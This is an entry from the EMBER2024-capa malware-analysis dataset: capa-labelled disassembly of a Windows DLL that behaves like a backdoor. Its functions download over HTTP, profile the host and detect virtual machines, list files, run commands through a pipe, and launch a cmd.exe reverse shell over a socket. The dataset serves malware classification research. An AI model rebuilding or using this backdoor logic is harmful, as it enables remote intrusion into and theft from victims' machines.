joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10008230
Capabilities:
Send data
Send http request

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x101c
call fcn.10043430
mov eax, dword [0x10059004]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 0xc]
push ebx
mov ebx, dword [ebp + 8]
push esi
push edi
push 0x1004
mov dword [ebp - 0x101c], eax
mov esi, edx
lea eax, [ebp - 0x1010]
mov edi, ecx
push 0
push eax
call fcn.10017bc0
add esp, 0xc
mov dword [ebp - 0x1018], 0x1000
mov dword [ebp - 0x1014], 0
test edi, edi
jne 0x1000829b
xor al, al
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.100136f9
mov esp, ebp
pop ebp
ret
push 0
push closesocket
push 0
push 0
push 0x1004f1a0
push ebx
push 0x1004f1ac
push edi
call dword [sym.imp.WININET.dll_HttpOpenRequestA]
mov dword [esi], eax
test eax, eax
je 0x10008288
push 0
push 0
push 0
push 0
push eax
call dword [sym.imp.WININET.dll_HttpSendRequestW]
test eax, eax
je 0x10008288
push 0x1004
lea eax, [ebp - 0x1010]
push 0
push eax
call fcn.10017bc0
mov edi, dword [sym.imp.WININET.dll_HttpQueryInfoW]
lea eax, [ebp - 0x1014]
add esp, 0xc
mov dword [ebp - 0x1018], 0x1000
mov dword [ebp - 0x1014], 0
push eax
lea eax, [ebp - 0x1018]
push eax
lea eax, [ebp - 0x1010]
push eax
push 5
push dword [esi]
call edi
test eax, eax
je 0x10008288
lea ecx, [ebp - 0x1010]
call fcn.10008df0
mov ecx, dword [ebp - 0x101c]
push 0x1004
push 0
mov dword [ecx], eax
lea eax, [ebp - 0x1010]
push eax
mov dword [ecx + 4], edx
call fcn.10017bc0
add esp, 0xc
mov dword [ebp - 0x1018], 0x1000
lea eax, [ebp - 0x1014]
mov dword [ebp - 0x1014], 0
push eax
lea eax, [ebp - 0x1018]
push eax
lea eax, [ebp - 0x1010]
push eax
push 1
push dword [esi]
call edi
test eax, eax
je 0x10008288
push 9
lea eax, [ebp - 0x1010]
push str.text_html
push eax
call fcn.1001ad8a
mov ecx, dword [ebp - 4]
add esp, 0xc
neg eax
sbb eax, eax
xor ecx, ebp
pop edi
pop esi
neg eax
pop ebx
call fcn.100136f9
mov esp, ebp
pop ebp
ret
Function at 0x100083c0
Capabilities:
Parse url

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x44
mov eax, dword [0x10059004]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
push esi
mov esi, dword [ebp + 0xc]
mov ebx, ecx
push edi
push 0x3c
mov dword [ebp - 0x44], eax
mov edi, edx
lea eax, [ebp - 0x40]
push 0
push eax
call fcn.10017bc0
mov ecx, ebx
mov dword [ebp - 0x40], 0x3c
add esp, 0xc
mov dword [ebp - 0x2c], 1
mov dword [ebp - 0x20], 1
mov dword [ebp - 0x18], 1
mov dword [ebp - 0x10], 1
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x10008418
lea eax, [ebp - 0x40]
sub ecx, edx
push eax
push 0
push ecx
push ebx
call dword [sym.imp.WININET.dll_InternetCrackUrlA]
test eax, eax
jne 0x10008446
pop edi
pop esi
xor al, al
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.100136f9
mov esp, ebp
pop ebp
ret
mov eax, dword [ebp - 0x2c]
test eax, eax
je 0x10008461
push eax
push dword [ebp - 0x30]
push edi
call fcn.1001aec0
mov eax, dword [ebp - 0x2c]
add esp, 0xc
mov byte [edi + eax], 0
mov ecx, dword [ebp - 0x44]
movzx eax, word [ebp - 0x28]
mov dword [ecx], eax
mov eax, dword [ebp - 0x10]
test eax, eax
je 0x100084a1
push eax
push dword [ebp - 0x14]
push esi
call fcn.1001aec0
mov eax, dword [ebp - 0x10]
add esp, 0xc
mov byte [esi + eax], 0
mov al, byte [esi]
cmp al, 0x2f
je 0x1000848f
cmp al, 0x5c
jne 0x100084a1
lea eax, [esi + 1]
sub esi, eax
mov cl, byte [eax]
lea eax, [eax + 1]
mov byte [esi + eax - 1], cl
test cl, cl
jne 0x10008494
mov ecx, dword [ebp - 4]
mov al, 1
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.100136f9
mov esp, ebp
pop ebp
ret
Function at 0x100084c0
Capabilities:
Send data
Send http request

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1148
call fcn.10043430
mov eax, dword [0x10059004]
xor eax, ebp
mov dword [ebp - 8], eax
push ebx
push esi
mov esi, dword [ebp + 8]
lea eax, [ebp - 0x113c]
push edi
push 0x1004
push 0
push eax
mov ebx, edx
mov edi, ecx
call fcn.10017bc0
add esp, 0xc
mov dword [ebp - 0x1144], 0x1000
lea eax, [ebp - 0x134]
mov dword [ebp - 0x1140], 0
push 0x104
push 0
push eax
call fcn.10017bc0
add esp, 0xc
push 0
push closesocket
push 0
push 0
push str.HTTP_1.1
push esi
push 0x1004f1c8
push edi
call dword [sym.imp.WININET.dll_HttpOpenRequestA]
mov dword [ebx], eax
test eax, eax
jne 0x10008557
xor al, al
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 8]
xor ecx, ebp
call fcn.100136f9
mov esp, ebp
pop ebp
ret
xorps xmm0, xmm0
lea edx, [ebp - 0x28]
movups xmmword [ebp - 0x28], xmm0
lea ecx, [edx + 1]
movups xmmword [ebp - 0x18], xmm0
mov al, byte [edx]
inc edx
test al, al
jne 0x10008568
mov esi, dword [ebp + 0x10]
sub edx, ecx
mov edi, dword [ebp + 0xc]
lea ecx, [ebp - 0x28]
push esi
push edi
call fcn.10008ef0
add esp, 8
test al, al
jne 0x100085a5
push esi
push edi
push str.Range:bytes_u_
lea eax, [ebp - 0x134]
push 0x103
push eax
call fcn.100076a0
add esp, 0x14
jmp 0x100085c2
lea eax, [ebp - 0x28]
push eax
push str.Range:bytes_s_
lea eax, [ebp - 0x134]
push 0x103
push eax
call fcn.100076a0
add esp, 0x10
lea ecx, [ebp - 0x134]
lea edx, [ecx + 1]
nop dword [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x100085d0
push 0
push 0
sub ecx, edx
lea eax, [ebp - 0x134]
push ecx
push eax
push dword [ebx]
call dword [sym.imp.WININET.dll_HttpSendRequestA]
test eax, eax
je 0x10008544
push 0x1004
lea eax, [ebp - 0x113c]
push 0
push eax
call fcn.10017bc0
add esp, 0xc
mov dword [ebp - 0x1144], 0x1000
lea eax, [ebp - 0x1140]
mov dword [ebp - 0x1140], 0
push eax
lea eax, [ebp - 0x1144]
push eax
lea eax, [ebp - 0x113c]
push eax
push 0x13
push dword [ebx]
call dword [sym.imp.WININET.dll_HttpQueryInfoW]
test eax, eax
je 0x10008544
push 3
lea eax, [ebp - 0x113c]
push 0x1004f1ec
push eax
call fcn.1001aff0
mov ecx, dword [ebp - 8]
add esp, 0xc
neg eax
sbb eax, eax
xor ecx, ebp
pop edi
pop esi
inc eax
pop ebx
call fcn.100136f9
mov esp, ebp
pop ebp
ret
Function at 0x10008ac0
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x214
mov eax, dword [0x10059004]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
mov esi, dword [ebp + 8]
lea eax, [ebp - 0x214]
push edi
push 0x20c
push 0
push eax
mov ebx, edx
mov edi, ecx
call fcn.10017bc0
push 0x208
lea eax, [ebp - 0x210]
mov dword [ebp - 0x214], 0
push 0
push eax
call fcn.10017bc0
add esp, 0x18
test ebx, ebx
je 0x10008b29
push 0x103
lea eax, [ebp - 0x210]
push ebx
push eax
call fcn.1001aec0
add esp, 0xc
test esi, esi
je 0x10008b42
push 0x103
lea eax, [ebp - 0x10c]
push esi
push eax
call fcn.1001aec0
add esp, 0xc
lea eax, [ebp - 8]
push eax
push 0
lea eax, [ebp - 0x214]
push eax
push 0x10008680
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov esi, eax
test esi, esi
jne 0x10008b85
push str.Fail_To_Create_Download_Thread
push edi
call fcn.100076c0
add esp, 8
xor al, al
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.100136f9
mov esp, ebp
pop ebp
ret
push str.Create_Download_Thread_Successfully
push edi
call fcn.100076c0
add esp, 8
push 0x5dc
push esi
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [ebp - 4]
mov al, 1
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.100136f9
mov esp, ebp
pop ebp
ret

Function at 0x1000a9f0
Capabilities:
Get inbound credentials handle via credssp

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x824
mov eax, dword [0x10059004]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [0x1004f648]
movups xmm0, xmmword [str.Negotiate]
push ebx
push esi
push edi
push 0x7ec
mov dword [ebp - 0x7f8], eax
mov esi, ecx
lea eax, [ebp - 0x7f4]
mov dword [ebp - 0x824], esi
push 0
push eax
movups xmmword [ebp - 0x808], xmm0
call fcn.10017bc0
add esp, 0xc
lea ecx, [ebp - 0x818]
lea eax, [esi + 8]
push ecx
push eax
push 0
push 0
push 0
push 0
push 1
lea eax, [ebp - 0x808]
push eax
push 0
call dword [sym.imp.Secur32.dll_AcquireCredentialsHandleW]
test eax, eax
je 0x1000aa7b
or eax, 0xffffffff
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.100136f9
mov esp, ebp
pop ebp
ret 8
mov dword [esi + 0x2c], 2
lea eax, [esi + 0x34]
mov dword [esi + 0x28], 0
lea edi, [esi + 0x28]
mov dword [edi + 8], 0
lea ebx, [esi + 0x10]
mov dword [ebx], 0
add esi, 0x1c
mov dword [ebx + 4], 1
mov dword [ebx + 8], edi
mov dword [eax + 4], 2
mov dword [eax], 0
mov dword [eax + 8], 0
push 8
mov dword [esi], 0
mov dword [esi + 4], 1
mov dword [esi + 8], eax
call fcn.10013718
mov edx, dword [ebp - 0x824]
add esp, 4
mov ecx, dword [ebp + 0xc]
xorps xmm0, xmm0
movq qword [eax], xmm0
mov dword [edi], ecx
mov ecx, dword [ebp + 8]
mov dword [edx + 0x30], ecx
lea ecx, [ebp - 0x820]
push ecx
lea ecx, [ebp - 0x80c]
mov dword [edx], eax
push ecx
push esi
push eax
push 0x10
push 0x900
push ebx
push 0
lea eax, [edx + 8]
push eax
call dword [sym.imp.Secur32.dll_AcceptSecurityContext]
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.100136f9
mov esp, ebp
pop ebp
ret 8
Function at 0x1000adf0
Capabilities:
Access peb ldr_data

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x10044de8
mov eax, dword fs:[0]
push eax
sub esp, 8
push esi
push edi
mov eax, dword [0x10059004]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov edi, ecx
mov dword [ebp - 0x10], edi
push 2
push edi
call fcn.100156ed
lea esi, [edi + 0x30]
mov dword [ebp - 4], 0
push 8
mov dword [ebp - 0x14], esi
mov dword [esi], 0
mov dword [esi + 4], 0
mov dword [esi + 8], 0
mov dword [esi + 0xc], 0
mov dword [esi + 0x10], 0
call fcn.10013718
add esp, 0xc
mov dword [esi], eax
test eax, eax
je 0x1000ae70
mov dword [eax], 0
mov dword [eax + 4], 0
mov eax, dword [esi]
mov dword [eax], esi
lea eax, [edi + 0x44]
push eax
call fcn.100159de
add esp, 4
mov eax, edi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x1000b910
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
mov eax, dword [0x10059004]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
mov esi, ecx
mov dword [ebp - 0x10], 4
xor bl, bl
mov dword [ebp - 0xc], 4
mov dword [ebp - 8], 0
mov dword [ebp - 0x24], 0
test esi, esi
je 0x1000ba14
lea eax, [ebp - 0x24]
push eax
push 0x101
push 0
push 0x1004f74c
push reloc.OLEAUT32.dll_SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x1000ba02
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0x10]
push eax
push 0
push str.InstallDate
push dword [ebp - 0x24]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x1000b9f9
mov edx, dword [ebp - 8]
lea ecx, [ebp - 0x20]
call fcn.1000b890
test eax, eax
je 0x1000b9e7
movzx eax, word [ebp - 0x14]
push eax
movzx eax, word [ebp - 0x16]
push eax
movzx eax, word [ebp - 0x18]
push eax
movzx eax, word [ebp - 0x1a]
push eax
movzx eax, word [ebp - 0x1e]
push eax
movzx eax, word [ebp - 0x20]
push eax
push str._d__d__d___d:_d:_d_n
push 0x7e
push esi
call fcn.100076a0
add esp, 0x24
mov bl, 1
push dword [ebp - 0x24]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov al, bl
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.100136f9
mov esp, ebp
pop ebp
ret
push str.Unknown
push 0x7e
push esi
call fcn.100076a0
add esp, 0xc
mov bl, 1
push dword [ebp - 0x24]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov al, bl
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.100136f9
mov esp, ebp
pop ebp
ret
mov ecx, dword [ebp - 4]
xor al, al
pop esi
xor ecx, ebp
pop ebx
call fcn.100136f9
mov esp, ebp
pop ebp
ret
Function at 0x1000bc50
Capabilities:
Get memory capacity
Get system information on windows

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x8b4
mov eax, dword [0x10059004]
xor eax, esp
mov dword [esp + 0x8b0], eax
push ebx
push esi
push edi
push 0x200
lea eax, [esp + 0x2bc]
mov esi, ecx
push 0
push eax
call fcn.10017bc0
add esp, 0xc
lea ecx, [esp + 0x2b8]
call fcn.10011a10
test al, al
jne 0x1000bcab
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x8b0]
xor ecx, esp
call fcn.100136f9
mov esp, ebp
pop ebp
ret
push 0x100
lea eax, [esp + 0x1bc]
push 0
push eax
call fcn.10017bc0
add esp, 0xc
lea ecx, [esp + 0x1b8]
call fcn.10011940
lea eax, [esp + 0x10]
mov dword [esp + 0x10], 0x40
push eax
xor edi, edi
xor ebx, ebx
call dword [sym.imp.KERNEL32.dll_GlobalMemoryStatusEx]
test eax, eax
je 0x1000bd07
mov edi, dword [esp + 0x18]
mov eax, dword [esp + 0x1c]
mov ebx, dword [esp + 0x20]
shrd edi, eax, 0x14
shr eax, 0x14
mov eax, dword [esp + 0x24]
shrd ebx, eax, 0x14
shr eax, 0x14
lea eax, [esp + 0x54]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
push 0x40
lea eax, [esp + 0x7c]
push 0
push eax
call fcn.10017bc0
mov ax, word [0x100599f0]
mov ecx, 0xff
add esp, 0xc
cmp cx, ax
jne 0x1000bd3e
call fcn.10007f60
mov ax, word [0x100599f0]
movzx eax, ax
cmp eax, 4
ja case.default.0x1000bd46
jmp dword [eax*4 + 0x1000beb4]
push str.No_VM_Detected
jmp 0x1000bd6e
push str.Microsoft_Virtual_PC
jmp 0x1000bd6e
push str.VMware_Workstation
jmp 0x1000bd6e
push str.Virtual_Box
jmp 0x1000bd6e
push str.Microsoft_Hyper_V
lea eax, [esp + 0x7c]
push 0x3e
push eax
call fcn.100076a0
add esp, 0xc
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, eax
mov ecx, esi
call fcn.1000c050
push 0x1004f8a0
push esi
call fcn.10007760
push 0x400
lea eax, [esp + 0x4c4]
push 0
push eax
call fcn.10017bc0
add esp, 0x14
lea eax, [esp + 0xb8]
push 0x80
push 0
push eax
call fcn.10017bc0
add esp, 0xc
lea ecx, [esp + 0xb8]
call fcn.1000ba30
test al, al
jne 0x1000be0c
lea eax, [esp + 0x78]
push eax
push edi
push ebx
lea eax, [esp + 0x2c4]
push eax
push dword [esp + 0x78]
lea eax, [esp + 0x1cc]
push eax
push str.CPU_t_t__s_nCPU_t_t__d_nOS_t_t__s_nRAM_t_t__u_MB____u_MB_nVM_t_t__s
lea eax, [esp + 0x4d4]
push 0x3fe
push eax
call fcn.100076a0
add esp, 0x24
jmp 0x1000be49
lea eax, [esp + 0xb8]
push eax
lea eax, [esp + 0x7c]
push eax
push edi
push ebx
lea eax, [esp + 0x2c8]
push eax
push dword [esp + 0x7c]
lea eax, [esp + 0x1d0]
push eax
push str.CPU_t_t__s_nCPU_t_t__d_nOS_t_t__s_nRAM_t_t__u_MB____u_MB_nVM_t_t__s_nUpTime_t_t__s
lea eax, [esp + 0x4d8]
push 0x3fe
push eax
call fcn.100076a0
add esp, 0x28
lea eax, [esp + 0x4b8]
push eax
push 0x1004f92c
push esi
call fcn.10007760
add esp, 0xc
lea eax, [esp + 0x138]
push 0x80
push 0
push eax
call fcn.10017bc0
add esp, 0xc
lea ecx, [esp + 0x138]
call fcn.1000b910
test al, al
je 0x1000be9c
lea eax, [esp + 0x138]
push eax
push str.Installed_Date_t__s_n
push esi
call fcn.10007760
add esp, 0xc
mov ecx, dword [esp + 0x8bc]
mov al, 1
pop edi
pop esi
pop ebx
xor ecx, esp
call fcn.100136f9
mov esp, ebp
pop ebp
ret
Function at 0x1000c770
Capabilities:
Enumerate files on windows

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x1b4
mov eax, dword [0x10059004]
xor eax, esp
mov dword [esp + 0x1b0], eax
push ebx
push esi
push edi
mov edi, ecx
test edx, edx
je 0x1000c8a8
lea eax, [esp + 0x10]
push eax
push edx
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
mov esi, eax
cmp esi, 0xffffffff
je 0x1000c8a8
push 0x64
lea eax, [esp + 0x154]
push 0
push eax
call fcn.10017bc0
add esp, 0xc
push 0x1004f052
push 0x1004fbb0
push edi
call fcn.10007760
mov ebx, dword [sym.imp.KERNEL32.dll_FindNextFileA]
add esp, 0xc
nop dword [eax + eax]
push 0x64
lea eax, [esp + 0x154]
push 0
push eax
call fcn.10017bc0
add esp, 0xc
lea eax, [esp + 0x3c]
test byte [esp + 0x10], 0x10
je 0x1000c845
push 0x1004fbb4
push eax
call fcn.100203fe
add esp, 8
test eax, eax
je 0x1000c865
lea eax, [esp + 0x3c]
push 0x1004fbb8
push eax
call fcn.100203fe
add esp, 8
test eax, eax
je 0x1000c865
lea eax, [esp + 0x3c]
push eax
push str.__32s_t_DIR_
lea eax, [esp + 0x158]
push 0x62
push eax
call fcn.100076a0
add esp, 0x10
jmp 0x1000c865
push dword [esp + 0x2c]
push dword [esp + 0x34]
push eax
push str.__36s_t_I64d_Bytes
lea eax, [esp + 0x160]
push 0x62
push eax
call fcn.100076a0
add esp, 0x18
lea eax, [esp + 0x150]
lea edx, [eax + 1]
nop
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x1000c870
sub eax, edx
je 0x1000c891
lea eax, [esp + 0x150]
push eax
push 0x1004fbdc
push edi
call fcn.10007760
add esp, 0xc
lea eax, [esp + 0x10]
push eax
push esi
call ebx
test eax, eax
jne 0x1000c7e0
push esi
call dword [sym.imp.KERNEL32.dll_FindClose]
mov ecx, dword [esp + 0x1bc]
pop edi
pop esi
pop ebx
xor ecx, esp
call fcn.100136f9
mov esp, ebp
pop ebp
ret
Function at 0x1000c8c0
Capabilities:
Create a process with modified i/o handles and window
Create pipe
Create process on windows
Read file on windows
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff0
mov eax, 0x4088
call fcn.10043430
mov eax, dword [0x10059004]
xor eax, esp
mov dword [esp + 0x4084], eax
push esi
push edi
push 0x44
lea eax, [esp + 0x3c]
mov dword [esp + 0xc], ecx
xorps xmm0, xmm0
mov dword [esp + 0x10], 0
push 0
push eax
mov esi, edx
mov dword [esp + 0x1c], 0
mov dword [esp + 0x20], 0
movq qword [esp + 0x24], xmm0
call fcn.10017bc0
add esp, 0xc
mov dword [esp + 0x84], 0
lea eax, [esp + 0x88]
push 0x4000
push 0
push eax
call fcn.10017bc0
add esp, 0xc
test esi, esi
je 0x1000c9ee
push 0
lea eax, [esp + 0x18]
mov dword [esp + 0x18], 0xc
push eax
lea eax, [esp + 0x18]
mov dword [esp + 0x24], 1
push eax
lea eax, [esp + 0x18]
mov dword [esp + 0x24], 0
xorps xmm0, xmm0
push eax
movaps xmmword [esp + 0x30], xmm0
call dword [sym.imp.KERNEL32.dll_CreatePipe]
test eax, eax
je 0x1000c9ee
push 0x44
lea eax, [esp + 0x3c]
push 0
push eax
call fcn.10017bc0
add esp, 0xc
mov dword [esp + 0x38], 0x44
xor eax, eax
mov dword [esp + 0x64], 0x101
mov word [esp + 0x68], ax
xorps xmm0, xmm0
mov eax, dword [esp + 0x10]
mov dword [esp + 0x74], eax
mov dword [esp + 0x78], eax
lea eax, [esp + 0x20]
push eax
lea eax, [esp + 0x3c]
movaps xmmword [esp + 0x24], xmm0
push eax
push 0
push 0
push 0x20
push 1
push 0
push 0
push esi
push 0
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
jne 0x1000ca04
push dword [esp + 0x10]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call esi
push dword [esp + 0xc]
call esi
xor al, al
pop edi
pop esi
mov ecx, dword [esp + 0x4084]
xor ecx, esp
call fcn.100136f9
mov esp, ebp
pop ebp
ret
push dword [esp + 0x24]
mov edi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call edi
push dword [esp + 0x20]
call edi
push dword [esp + 0x10]
call edi
push 0x4000
lea eax, [esp + 0x8c]
push 0
push eax
call fcn.10017bc0
mov esi, dword [sym.imp.KERNEL32.dll_ReadFile]
lea eax, [esp + 0x90]
add esp, 0xc
push 0
push eax
push 0x4000
lea eax, [esp + 0x94]
push eax
push dword [esp + 0x1c]
call esi
test eax, eax
je 0x1000cacb
nop word [eax + eax]
mov eax, dword [esp + 0x84]
test eax, eax
je 0x1000cacb
cmp eax, 0x4000
jae 0x1000cae7
mov byte [esp + eax + 0x88], 0
lea eax, [esp + 0x88]
push eax
push 0x1004fbf4
push dword [esp + 0x10]
call fcn.10007760
add esp, 0xc
lea eax, [esp + 0x88]
push 0x4000
push 0
push eax
call fcn.10017bc0
add esp, 0xc
lea eax, [esp + 0x84]
push 0
push eax
push 0x4000
lea eax, [esp + 0x94]
push eax
push dword [esp + 0x1c]
call esi
test eax, eax
jne 0x1000ca60
push dword [esp + 0xc]
call edi
mov ecx, dword [esp + 0x408c]
mov al, 1
pop edi
pop esi
xor ecx, esp
call fcn.100136f9
mov esp, ebp
pop ebp
ret
call fcn.1001389f
int3
Function at 0x1000caf0
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Connect udp socket
Create a process with modified i/o handles and window
Create process on windows
Create tcp socket
Create udp socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x68
mov eax, dword [0x10059004]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
push 0x44
lea eax, [ebp - 0x68]
xorps xmm0, xmm0
push 0
push eax
mov esi, edx
mov edi, ecx
movups xmmword [ebp - 0x14], xmm0
call fcn.10017bc0
add esp, 0xc
push 0
push 0
push 0
push 0
push 1
push 2
call dword [sym.imp.WS2_32.dll_WSASocketW]
mov ebx, eax
mov eax, 2
push esi
mov word [ebp - 0x14], ax
call dword [sym.imp.WS2_32.dll_htons]
push edi
mov word [ebp - 0x12], ax
call dword [sym.imp.WS2_32.dll_inet_addr]
mov dword [ebp - 0x10], eax
lea eax, [ebp - 0x14]
push 0x10
push eax
push ebx
call dword [sym.imp.WS2_32.dll_connect]
cmp eax, 0xffffffff
jne 0x1000cb75
pop edi
pop esi
xor al, al
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.100136f9
mov esp, ebp
pop ebp
ret
xor eax, eax
mov dword [ebp - 0x68], 0x44
mov word [ebp - 0x38], ax
lea eax, [ebp - 0x24]
push eax
lea eax, [ebp - 0x68]
mov dword [ebp - 0x3c], 0x101
push eax
push 0
push 0
push 0
push 1
push 0
push 0
push str.cmd.exe
push 0
mov dword [ebp - 0x28], ebx
mov dword [ebp - 0x2c], ebx
mov dword [ebp - 0x30], ebx
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
je 0x1000cbd2
push 0xffffffffffffffff
push dword [ebp - 0x24]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push dword [ebp - 0x24]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call esi
push dword [ebp - 0x20]
call esi
push ebx
call dword [sym.imp.WS2_32.dll_closesocket]
mov ecx, dword [ebp - 4]
mov al, 1
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.100136f9
mov esp, ebp
pop ebp
ret
Function at 0x1000ccd0
Capabilities:
Create thread
Initialize winsock library

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x220
mov eax, dword [0x10059004]
xor eax, esp
mov dword [esp + 0x21c], eax
push esi
push edi
mov edi, edx
mov esi, ecx
test edi, edi
je 0x1000cddd
cmp byte [0x1005bb21], 0
jne 0x1000cd29
lea eax, [esp + 0x10]
push eax
push 0x202
call dword [sym.imp.WS2_32.dll_WSAStartup]
test eax, eax
sete al
mov byte [0x1005bb21], al
test al, al
jne 0x1000cd29
push 0x1004fc08
jmp 0x1000cdd4
push 0x80
lea eax, [esp + 0x1a4]
push 0
push eax
call fcn.10017bc0
mov ecx, edi
add esp, 0xc
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x1000cd45
sub ecx, edx
cmp ecx, 0x80
jae 0x1000cd6b
mov ecx, edi
lea edx, [ecx + 1]
nop dword [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x1000cd60
sub ecx, edx
jmp 0x1000cd70
mov ecx, 0x80
push ecx
lea eax, [esp + 0x1a4]
push edi
push eax
call fcn.10018130
add esp, 0xc
lea eax, [esp + 0xc]
push eax
push 0
lea eax, [esp + 0x1a8]
push eax
push 0x1000cbf0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov edi, eax
test edi, edi
je 0x1000cdcf
push str.Reverse_Shell_Thread_Successful
push esi
call fcn.10007760
add esp, 8
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
pop esi
mov ecx, dword [esp + 0x21c]
xor ecx, esp
call fcn.100136f9
mov esp, ebp
pop ebp
ret
push str.Reverse_Shell_Thread_Failure
push esi
call fcn.10007760
add esp, 8
mov ecx, dword [esp + 0x224]
pop edi
pop esi
xor ecx, esp
call fcn.100136f9
mov esp, ebp
pop ebp
ret